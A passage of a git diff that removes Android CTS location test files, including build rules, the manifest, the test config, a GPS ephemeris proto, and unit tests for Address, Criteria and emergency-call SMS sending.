-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-// Reusable Location test classes and helpers
-
-java_test_helper_library {
- name: "cts-location-tests",
- libs: [
- "telephony-common",
- "android.test.base.stubs",
- ],
- static_libs: [
- "compatibility-device-util-axt",
- "ctstestrunner-axt",
- "apache-commons-math",
- "platform-test-annotations",
- ],
- srcs: [
- "src/android/location/cts/**/*.java",
- "protos/**/*.proto",
- ],
- proto: {
- type: "nano",
- },
-}
-
-// CtsLocationTestCases package
-android_test {
- name: "CtsLocationTestCases",
- defaults: ["cts_defaults"],
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- ],
- libs: [
- "telephony-common",
- "android.test.base.stubs",
- ],
- static_libs: [
- "compatibility-device-util-axt",
- "ctstestrunner-axt",
- "apache-commons-math",
- ],
- proto: {
- type: "nano",
- },
- srcs: [
- "src/**/*.java",
- "protos/**/*.proto",
- ],
- platform_apis: true,
- dxflags: ["--multi-dex"],
-}
diff --git a/tests/tests/location/AndroidManifest.xml b/tests/tests/location/AndroidManifest.xml
deleted file mode 100644
index bd887b5..0000000
--- a/tests/tests/location/AndroidManifest.xml
+++ /dev/null
@@ -1,49 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.location.cts"
- android:targetSandboxVersion="2">
-
- <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
- <application>
- <uses-library android:name="android.test.runner" />
- </application>
-
- <uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
-
- <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
- <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
- <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
- <uses-permission android:name="android.permission.INTERNET" />
-
- <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
- <uses-permission android:name="android.permission.READ_SMS"/>
- <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
- <uses-permission android:name="android.permission.RECEIVE_SMS" />
- <uses-permission android:name="android.permission.SEND_SMS" />
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.location.cts"
- android:label="CTS tests of android.location">
- <meta-data android:name="listener"
- android:value="com.android.cts.runner.CtsTestRunListener" />
- </instrumentation>
-</manifest>
-
diff --git a/tests/tests/location/AndroidTest.xml b/tests/tests/location/AndroidTest.xml
deleted file mode 100644
index 323fddc..0000000
--- a/tests/tests/location/AndroidTest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CTS Location test cases">
- <option name="test-suite-tag" value="cts" />
- <option name="config-descriptor:metadata" key="component" value="location" />
- <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
- <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsLocationTestCases.apk" />
- </target_preparer>
- <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.location.cts" />
- <option name="runtime-hint" value="18m8s" />
- <option name="hidden-api-checks" value="false" />
- </test>
-
-</configuration>
diff --git a/tests/tests/location/OWNERS b/tests/tests/location/OWNERS
deleted file mode 100644
index 99ad4f3..0000000
--- a/tests/tests/location/OWNERS
+++ /dev/null
@@ -1,6 +0,0 @@
-# Bug component: 32850
-lifu@google.com
-sooniln@google.com
-weiwa@google.com
-wyattriley@google.com
-yuhany@google.com
diff --git a/tests/tests/location/README.txt b/tests/tests/location/README.txt
deleted file mode 100644
index 4692eab..0000000
--- a/tests/tests/location/README.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-Location CTS tests that require "android.permission.ACCESS_FINE_LOCATION".
-Note you must enable "Allow mock locations" at Settings > Developer options.
diff --git a/tests/tests/location/protos/ephemeris.proto b/tests/tests/location/protos/ephemeris.proto
deleted file mode 100644
index 6196aa0..0000000
--- a/tests/tests/location/protos/ephemeris.proto
+++ /dev/null
@@ -1,124 +0,0 @@
-syntax = "proto2";
-
-package android.location.cts;
-// RPC service for providing ephemeris data
-
-
-message GpsTimeProto {
- optional int64 nanosecond = 1;
-}
-
-message GpsEphemerisProto {
- // Time used for generating this data (typically, the queried time).
- optional GpsTimeProto data_time = 1;
-
- // PRN.
- optional int32 prn = 2;
-
- // GPS week number.
- optional int32 week = 3;
-
- // Code on L2.
- optional int32 l2_code = 4;
-
- // L2 P data flag.
- optional int32 l2_flag = 5;
-
- // SV accuracy in meters.
- optional double sv_accuracy_m = 6;
-
- // SV health bits.
- optional int32 sv_health = 7;
-
- // Issue of data (ephemeris).
- optional int32 iode = 8;
-
- // Issue of data (clock).
- optional int32 iodc = 9;
-
- // Time of clock (second).
- optional double toc = 10;
-
- // Time of ephemeris (second).
- optional double toe = 11;
-
- // Transmission time of the message.
- optional double tom = 12;
-
- // Clock info (drift, bias, etc).
- optional double af0 = 13;
- optional double af1 = 14;
- optional double af2 = 15;
- optional double tgd = 16;
-
- // Orbital parameters.
- // Square root of semi-major axis
- optional double root_of_a = 17;
-
- // Eccentricity.
- optional double e = 18;
-
- // Inclination angle (radian).
- optional double i_0 = 19;
-
- // Rate of inclination angle (radians/sec).
- optional double i_dot = 20;
-
- // Argument of perigee.
- optional double omega = 21;
-
- // Longitude of ascending node of orbit plane at the beginning of week.
- optional double omega_0 = 22;
-
- // Rate of right ascension.
- optional double omega_dot = 23;
-
- // Mean anomaly at reference time.
- optional double m_0 = 24;
-
- // Mean motion difference from computed value.
- optional double delta_n = 25;
-
- // Amplitude of second-order harmonic perturbations.
- optional double crc = 26;
- optional double crs = 27;
- optional double cuc = 28;
- optional double cus = 29;
- optional double cic = 30;
- optional double cis = 31;
-
- // FIT interval.
- optional double fit_interval = 32;
-}
-
-// Klobuchar Ionospheric Model
-message IonosphericModelProto {
- // Time used for generating this data (typically, the queried time).
- optional GpsTimeProto data_time = 1;
-
- // Amplitude parameters
- repeated double alpha = 2;
-
- // Period parameters.
- repeated double beta = 3;
-}
-
-message UtcModelProto {
- optional double a_0 = 1;
- optional double a_1 = 2;
- optional int64 tow = 3;
- optional int32 leap_seconds = 4;
-}
-
-message GpsNavMessageProto {
- // Status for the RPC call.
- enum RpcStatus {
- UNKNOWN_RPC_STATUS = 0;
- SUCCESS = 1;
- SERVER_ERROR = 2;
- }
- optional RpcStatus rpc_status = 1;
- optional IonosphericModelProto iono = 2;
- optional UtcModelProto utc_model = 3;
- repeated GpsEphemerisProto ephemerids = 4;
-}
diff --git a/tests/tests/location/src/android/location/cts/AddressTest.java b/tests/tests/location/src/android/location/cts/AddressTest.java
deleted file mode 100644
index 5e44b61..0000000
--- a/tests/tests/location/src/android/location/cts/AddressTest.java
+++ /dev/null
@@ -1,344 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import java.util.Locale;
-
-import junit.framework.TestCase;
-import android.location.Address;
-import android.os.Bundle;
-import android.os.Parcel;
-import android.os.Parcelable;
-
-/**
- * Test the main functionalities of the AddressTest.
- */
-public class AddressTest extends TestCase {
- public void testConstructor() {
- new Address(Locale.ENGLISH);
-
- new Address(Locale.FRANCE);
-
- new Address(null);
- }
-
- public void testDescribeContents() {
- Address address = new Address(Locale.GERMAN);
-
- assertEquals(0, address.describeContents());
-
- Bundle extras = new Bundle();
- extras.putParcelable("key1", new MockParcelable());
- address.setExtras(extras);
-
- assertEquals(extras.describeContents(), address.describeContents());
- }
-
- public void testAccessAdminArea() {
- Address address = new Address(Locale.ITALY);
-
- String adminArea = "CA";
- address.setAdminArea(adminArea);
- assertEquals(adminArea, address.getAdminArea());
-
- address.setAdminArea(null);
- assertNull(address.getAdminArea());
- }
-
- public void testAccessCountryCode() {
- Address address = new Address(Locale.JAPAN);
-
- String countryCode = "US";
- address.setCountryCode(countryCode);
- assertEquals(countryCode, address.getCountryCode());
-
- address.setCountryCode(null);
- assertNull(address.getCountryCode());
- }
-
- public void testAccessCountryName() {
- Address address = new Address(Locale.KOREA);
-
- String countryName = "China";
- address.setCountryName(countryName);
- assertEquals(countryName, address.getCountryName());
-
- address.setCountryName(null);
- assertNull(address.getCountryName());
- }
-
- public void testAccessExtras() {
- Address address = new Address(Locale.TAIWAN);
-
- Bundle extras = new Bundle();
- extras.putBoolean("key1", false);
- byte b = 10;
- extras.putByte("key2", b);
-
- address.setExtras(extras);
- Bundle actual = address.getExtras();
- assertFalse(actual.getBoolean("key1"));
- assertEquals(b, actual.getByte("key2"));
-
- address.setExtras(null);
- assertNull(address.getExtras());
- }
-
- public void testAccessFeatureName() {
- Address address = new Address(Locale.SIMPLIFIED_CHINESE);
-
- String featureName = "Golden Gate Bridge";
- address.setFeatureName(featureName);
- assertEquals(featureName, address.getFeatureName());
-
- address.setFeatureName(null);
- assertNull(address.getFeatureName());
- }
-
- public void testAccessLatitude() {
- Address address = new Address(Locale.CHINA);
- assertFalse(address.hasLatitude());
-
- double latitude = 1.23456789;
- address.setLatitude(latitude);
- assertTrue(address.hasLatitude());
- assertEquals(latitude, address.getLatitude());
-
- address.clearLatitude();
- assertFalse(address.hasLatitude());
- try {
- address.getLatitude();
- fail("should throw IllegalStateException.");
- } catch (IllegalStateException e) {
- }
- }
-
- public void testAccessLongitude() {
- Address address = new Address(Locale.CHINA);
- assertFalse(address.hasLongitude());
-
- double longitude = 1.23456789;
- address.setLongitude(longitude);
- assertTrue(address.hasLongitude());
- assertEquals(longitude, address.getLongitude());
-
- address.clearLongitude();
- assertFalse(address.hasLongitude());
- try {
- address.getLongitude();
- fail("should throw IllegalStateException.");
- } catch (IllegalStateException e) {
- }
- }
-
- public void testAccessPhone() {
- Address address = new Address(Locale.CHINA);
-
- String phone = "+86-13512345678";
- address.setPhone(phone);
- assertEquals(phone, address.getPhone());
-
- address.setPhone(null);
- assertNull(address.getPhone());
- }
-
- public void testAccessPostalCode() {
- Address address = new Address(Locale.CHINA);
-
- String postalCode = "93110";
- address.setPostalCode(postalCode);
- assertEquals(postalCode, address.getPostalCode());
-
- address.setPostalCode(null);
- assertNull(address.getPostalCode());
- }
-
- public void testAccessThoroughfare() {
- Address address = new Address(Locale.CHINA);
-
- String thoroughfare = "1600 Ampitheater Parkway";
- address.setThoroughfare(thoroughfare);
- assertEquals(thoroughfare, address.getThoroughfare());
-
- address.setThoroughfare(null);
- assertNull(address.getThoroughfare());
- }
-
- public void testAccessUrl() {
- Address address = new Address(Locale.CHINA);
-
- String Url = "Url";
- address.setUrl(Url);
- assertEquals(Url, address.getUrl());
-
- address.setUrl(null);
- assertNull(address.getUrl());
- }
-
- public void testAccessSubAdminArea() {
- Address address = new Address(Locale.CHINA);
-
- String subAdminArea = "Santa Clara County";
- address.setSubAdminArea(subAdminArea);
- assertEquals(subAdminArea, address.getSubAdminArea());
-
- address.setSubAdminArea(null);
- assertNull(address.getSubAdminArea());
- }
-
- public void testToString() {
- Address address = new Address(Locale.CHINA);
-
- address.setUrl("www.google.com");
- address.setPostalCode("95120");
- String expected = "Address[addressLines=[],feature=null,admin=null,sub-admin=null," +
- "locality=null,thoroughfare=null,postalCode=95120,countryCode=null," +
- "countryName=null,hasLatitude=false,latitude=0.0,hasLongitude=false," +
- "longitude=0.0,phone=null,url=www.google.com,extras=null]";
- assertEquals(expected, address.toString());
- }
-
- public void testAddressLine() {
- Address address = new Address(Locale.CHINA);
-
- try {
- address.setAddressLine(-1, null);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- }
-
- try {
- address.getAddressLine(-1);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- }
-
- address.setAddressLine(0, null);
- assertNull(address.getAddressLine(0));
- assertEquals(0, address.getMaxAddressLineIndex());
-
- final String line1 = "1";
- address.setAddressLine(0, line1);
- assertEquals(line1, address.getAddressLine(0));
- assertEquals(0, address.getMaxAddressLineIndex());
-
- final String line2 = "2";
- address.setAddressLine(5, line2);
- assertEquals(line2, address.getAddressLine(5));
- assertEquals(5, address.getMaxAddressLineIndex());
-
- address.setAddressLine(2, null);
- assertNull(address.getAddressLine(2));
- assertEquals(5, address.getMaxAddressLineIndex());
- }
-
- public void testGetLocale() {
- Locale locale = Locale.US;
- Address address = new Address(locale);
- assertSame(locale, address.getLocale());
-
- locale = Locale.UK;
- address = new Address(locale);
- assertSame(locale, address.getLocale());
-
- address = new Address(null);
- assertNull(address.getLocale());
- }
-
- public void testAccessLocality() {
- Address address = new Address(Locale.PRC);
-
- String locality = "Hollywood";
- address.setLocality(locality);
- assertEquals(locality, address.getLocality());
-
- address.setLocality(null);
- assertNull(address.getLocality());
- }
-
- public void testAccessPremises() {
- Address address = new Address(Locale.PRC);
-
- String premises = "Appartment";
- address.setPremises(premises);
- assertEquals(premises, address.getPremises());
-
- address.setPremises(null);
- assertNull(address.getPremises());
- }
-
- public void testAccessSubLocality() {
- Address address = new Address(Locale.PRC);
-
- String subLocality = "Sarchnar";
- address.setSubLocality(subLocality);
- assertEquals(subLocality, address.getSubLocality());
-
- address.setSubLocality(null);
- assertNull(address.getSubLocality());
- }
-
- public void testAccessSubThoroughfare() {
- Address address = new Address(Locale.PRC);
-
- String subThoroughfare = "1600";
- address.setSubThoroughfare(subThoroughfare);
- assertEquals(subThoroughfare, address.getSubThoroughfare());
-
- address.setSubThoroughfare(null);
- assertNull(address.getSubThoroughfare());
- }
-
- public void testWriteToParcel() {
- Locale locale = Locale.KOREA;
- Address address = new Address(locale);
-
- Parcel parcel = Parcel.obtain();
- address.writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- assertEquals(locale.getLanguage(), parcel.readString());
- assertEquals(locale.getCountry(), parcel.readString());
- assertEquals(0, parcel.readInt());
- assertEquals(address.getFeatureName(), parcel.readString());
- assertEquals(address.getAdminArea(), parcel.readString());
- assertEquals(address.getSubAdminArea(), parcel.readString());
- assertEquals(address.getLocality(), parcel.readString());
- assertEquals(address.getSubLocality(), parcel.readString());
- assertEquals(address.getThoroughfare(), parcel.readString());
- assertEquals(address.getSubThoroughfare(), parcel.readString());
- assertEquals(address.getPremises(), parcel.readString());
- assertEquals(address.getPostalCode(), parcel.readString());
- assertEquals(address.getCountryCode(), parcel.readString());
- assertEquals(address.getCountryName(), parcel.readString());
- assertEquals(0, parcel.readInt());
- assertEquals(0, parcel.readInt());
- assertEquals(address.getPhone(), parcel.readString());
- assertEquals(address.getUrl(), parcel.readString());
- assertEquals(address.getExtras(), parcel.readBundle());
-
- parcel.recycle();
- }
-
- private class MockParcelable implements Parcelable {
- public int describeContents() {
- return Parcelable.CONTENTS_FILE_DESCRIPTOR;
- }
-
- public void writeToParcel(Parcel dest, int flags) {
- }
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/BaseMockLocationTest.java b/tests/tests/location/src/android/location/cts/BaseMockLocationTest.java
deleted file mode 100644
index 7b08da8..0000000
--- a/tests/tests/location/src/android/location/cts/BaseMockLocationTest.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- *
- */
-
-package android.location.cts;
-
-import com.android.compatibility.common.util.LocationUtils;
-
-import android.test.InstrumentationTestCase;
-
-/**
- * Base class for instrumentations tests that use mock location.
- */
-public abstract class BaseMockLocationTest extends InstrumentationTestCase {
- private static final String LOG_TAG = "BaseMockLocationTest";
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- LocationUtils.registerMockLocationProvider(getInstrumentation(), true);
- }
-
- @Override
- protected void tearDown() throws Exception {
- LocationUtils.registerMockLocationProvider(getInstrumentation(), false);
- super.tearDown();
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/CriteriaTest.java b/tests/tests/location/src/android/location/cts/CriteriaTest.java
deleted file mode 100644
index 97b4079..0000000
--- a/tests/tests/location/src/android/location/cts/CriteriaTest.java
+++ /dev/null
@@ -1,223 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-
-import android.location.Criteria;
-import android.os.Parcel;
-import android.test.AndroidTestCase;
-
-public class CriteriaTest extends AndroidTestCase {
- public void testConstructor() {
- new Criteria();
-
- Criteria c = new Criteria();
- c.setAccuracy(Criteria.ACCURACY_FINE);
- c.setAltitudeRequired(true);
- c.setBearingRequired(true);
- c.setCostAllowed(true);
- c.setPowerRequirement(Criteria.POWER_HIGH);
- c.setSpeedRequired(true);
- Criteria criteria = new Criteria(c);
- assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
- assertTrue(criteria.isAltitudeRequired());
- assertTrue(criteria.isBearingRequired());
- assertTrue(criteria.isCostAllowed());
- assertTrue(criteria.isSpeedRequired());
- assertEquals(Criteria.POWER_HIGH, criteria.getPowerRequirement());
-
- try {
- new Criteria(null);
- fail("should throw NullPointerException.");
- } catch (NullPointerException e) {
- // expected.
- }
- }
-
- public void testDescribeContents() {
- Criteria criteria = new Criteria();
- criteria.describeContents();
- }
-
- public void testAccessAccuracy() {
- Criteria criteria = new Criteria();
-
- criteria.setAccuracy(Criteria.ACCURACY_FINE);
- assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
-
- criteria.setAccuracy(Criteria.ACCURACY_COARSE);
- assertEquals(Criteria.ACCURACY_COARSE, criteria.getAccuracy());
-
- try {
- // It should throw IllegalArgumentException
- criteria.setAccuracy(-1);
- // issue 1728526
- } catch (IllegalArgumentException e) {
- // expected.
- }
-
- try {
- // It should throw IllegalArgumentException
- criteria.setAccuracy(Criteria.ACCURACY_COARSE + 1);
- // issue 1728526
- } catch (IllegalArgumentException e) {
- // expected.
- }
- }
-
- public void testAccessPowerRequirement() {
- Criteria criteria = new Criteria();
-
- criteria.setPowerRequirement(Criteria.NO_REQUIREMENT);
- assertEquals(Criteria.NO_REQUIREMENT, criteria.getPowerRequirement());
-
- criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
- assertEquals(Criteria.POWER_MEDIUM, criteria.getPowerRequirement());
-
- try {
- criteria.setPowerRequirement(-1);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- // expected.
- }
-
- try {
- criteria.setPowerRequirement(Criteria.POWER_HIGH + 1);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- // expected.
- }
- }
-
- public void testAccessAltitudeRequired() {
- Criteria criteria = new Criteria();
-
- criteria.setAltitudeRequired(false);
- assertFalse(criteria.isAltitudeRequired());
-
- criteria.setAltitudeRequired(true);
- assertTrue(criteria.isAltitudeRequired());
- }
-
- public void testAccessBearingAccuracy() {
- Criteria criteria = new Criteria();
-
- criteria.setBearingAccuracy(Criteria.ACCURACY_LOW);
- assertEquals(Criteria.ACCURACY_LOW, criteria.getBearingAccuracy());
-
- criteria.setBearingAccuracy(Criteria.ACCURACY_HIGH);
- assertEquals(Criteria.ACCURACY_HIGH, criteria.getBearingAccuracy());
-
- criteria.setBearingAccuracy(Criteria.NO_REQUIREMENT);
- assertEquals(Criteria.NO_REQUIREMENT, criteria.getBearingAccuracy());
- }
-
- public void testAccessBearingRequired() {
- Criteria criteria = new Criteria();
-
- criteria.setBearingRequired(false);
- assertFalse(criteria.isBearingRequired());
-
- criteria.setBearingRequired(true);
- assertTrue(criteria.isBearingRequired());
- }
-
- public void testAccessCostAllowed() {
- Criteria criteria = new Criteria();
-
- criteria.setCostAllowed(false);
- assertFalse(criteria.isCostAllowed());
-
- criteria.setCostAllowed(true);
- assertTrue(criteria.isCostAllowed());
- }
-
- public void testAccessHorizontalAccuracy() {
- Criteria criteria = new Criteria();
-
- criteria.setHorizontalAccuracy(Criteria.ACCURACY_LOW);
- assertEquals(Criteria.ACCURACY_LOW, criteria.getHorizontalAccuracy());
-
- criteria.setHorizontalAccuracy(Criteria.ACCURACY_MEDIUM);
- assertEquals(Criteria.ACCURACY_MEDIUM, criteria.getHorizontalAccuracy());
-
- criteria.setHorizontalAccuracy(Criteria.ACCURACY_HIGH);
- assertEquals(Criteria.ACCURACY_HIGH, criteria.getHorizontalAccuracy());
-
- criteria.setHorizontalAccuracy(Criteria.NO_REQUIREMENT);
- assertEquals(Criteria.NO_REQUIREMENT, criteria.getHorizontalAccuracy());
- }
-
- public void testAccessSpeedAccuracy() {
- Criteria criteria = new Criteria();
-
- criteria.setSpeedAccuracy(Criteria.ACCURACY_LOW);
- assertEquals(Criteria.ACCURACY_LOW, criteria.getSpeedAccuracy());
-
- criteria.setSpeedAccuracy(Criteria.ACCURACY_HIGH);
- assertEquals(Criteria.ACCURACY_HIGH, criteria.getSpeedAccuracy());
-
- criteria.setSpeedAccuracy(Criteria.NO_REQUIREMENT);
- assertEquals(Criteria.NO_REQUIREMENT, criteria.getSpeedAccuracy());
- }
-
- public void testAccessSpeedRequired() {
- Criteria criteria = new Criteria();
-
- criteria.setSpeedRequired(false);
- assertFalse(criteria.isSpeedRequired());
-
- criteria.setSpeedRequired(true);
- assertTrue(criteria.isSpeedRequired());
- }
-
- public void testAccessVerticalAccuracy() {
- Criteria criteria = new Criteria();
-
- criteria.setVerticalAccuracy(Criteria.ACCURACY_LOW);
- assertEquals(Criteria.ACCURACY_LOW, criteria.getVerticalAccuracy());
-
- criteria.setVerticalAccuracy(Criteria.ACCURACY_HIGH);
- assertEquals(Criteria.ACCURACY_HIGH, criteria.getVerticalAccuracy());
-
- criteria.setVerticalAccuracy(Criteria.NO_REQUIREMENT);
- assertEquals(Criteria.NO_REQUIREMENT, criteria.getVerticalAccuracy());
- }
-
- public void testWriteToParcel() {
- Criteria criteria = new Criteria();
- criteria.setAltitudeRequired(true);
- criteria.setBearingRequired(false);
- criteria.setCostAllowed(true);
- criteria.setSpeedRequired(true);
-
- Parcel parcel = Parcel.obtain();
- criteria.writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
-
- Criteria newCriteria = Criteria.CREATOR.createFromParcel(parcel);
-
- assertEquals(criteria.getAccuracy(), newCriteria.getAccuracy());
- assertEquals(criteria.getPowerRequirement(), newCriteria.getPowerRequirement());
- assertEquals(criteria.isAltitudeRequired(), newCriteria.isAltitudeRequired());
- assertEquals(criteria.isBearingRequired(), newCriteria.isBearingRequired());
- assertEquals(criteria.isSpeedRequired(), newCriteria.isSpeedRequired());
- assertEquals(criteria.isCostAllowed(), newCriteria.isCostAllowed());
-
- parcel.recycle();
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java b/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
deleted file mode 100644
index 4c2c36f..0000000
--- a/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
+++ /dev/null
@@ -1,102 +0,0 @@
-package android.location.cts;
-
-import android.app.Activity;
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.telephony.SmsManager;
-import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
-import android.text.TextUtils;
-import android.util.Log;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.Random;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Test sending SMS and MMS using {@link android.telephony.SmsManager}.
- */
-public class EmergencyCallMessageTest extends GnssTestCase {
-
- private static final String TAG = "EmergencyCallMSGTest";
-
- private static final long DEFAULT_EXPIRY_TIME_SECS = TimeUnit.DAYS.toSeconds(7);
- private static final long MMS_CONFIG_DELAY_MILLIS = TimeUnit.SECONDS.toMillis(1);
- private static final short DEFAULT_DATA_SMS_PORT = 8091;
- private static final String PHONE_NUMBER_KEY = "android.cts.emergencycall.phonenumber";
- private static final String SMS_MESSAGE_BODY = "CTS Emergency Call Sms test message body";
- private static final String SMS_DATA_MESSAGE_BODY =
- "CTS Emergency Call Sms data test message body";
- private static final long SENT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5); // 5 minutes
- private static final String PROVIDER_AUTHORITY = "emergencycallverifier";
-
- private Random mRandom;
- private TelephonyManager mTelephonyManager;
- private PackageManager mPackageManager;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mRandom = new Random(System.currentTimeMillis());
- mTelephonyManager =
- (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
- mPackageManager = mContext.getPackageManager();
- }
-
- public void testSendSmsMessage() {
- // this test is only for cts verifier
- if (!isCtsVerifierTest()) {
- return;
- }
- SmsManager smsManager = SmsManager.getDefault();
- final String selfNumber = getPhoneNumber(mContext);
- smsManager.sendTextMessage(selfNumber, null, SMS_MESSAGE_BODY, null, null);
- }
-
- public void testSendSmsDataMessage() {
- // this test is only for cts verifier
- if (!isCtsVerifierTest()) {
- return;
- }
- SmsManager smsManager = SmsManager.getDefault();
- final String selfNumber = getPhoneNumber(mContext);
- smsManager.sendDataMessage(selfNumber, null, DEFAULT_DATA_SMS_PORT,
- SMS_DATA_MESSAGE_BODY.getBytes(), null, null);
- }
-
- private static String getPhoneNumber(Context context) {
- final TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(
- Context.TELEPHONY_SERVICE);
- String phoneNumber = telephonyManager.getLine1Number();
- if (phoneNumber == null || phoneNumber.trim().isEmpty()) {
- phoneNumber = System.getProperty(PHONE_NUMBER_KEY);
- }
- return phoneNumber;
- }
-
- private static boolean shouldParseContentDisposition() {
- return SmsManager
- .getDefault()
- .getCarrierConfigValues()
- .getBoolean(SmsManager.MMS_CONFIG_SUPPORT_MMS_CONTENT_DISPOSITION, true);
- }
-
- private static boolean doesSupportMMS() {
- return SmsManager
- .getDefault()
- .getCarrierConfigValues()
- .getBoolean(SmsManager.MMS_CONFIG_MMS_ENABLED, true);
- }
-
-}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java b/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java
deleted file mode 100644
index 1c6ac6c..0000000
--- a/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (C) 2017 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.net.wifi.ScanResult;
-import android.net.wifi.WifiManager;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import java.io.IOException;
-import java.net.InetSocketAddress;
-import java.net.Socket;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * This class is used to test Wifi realted features.
- */
-public class EmergencyCallWifiTest extends GnssTestCase {
-
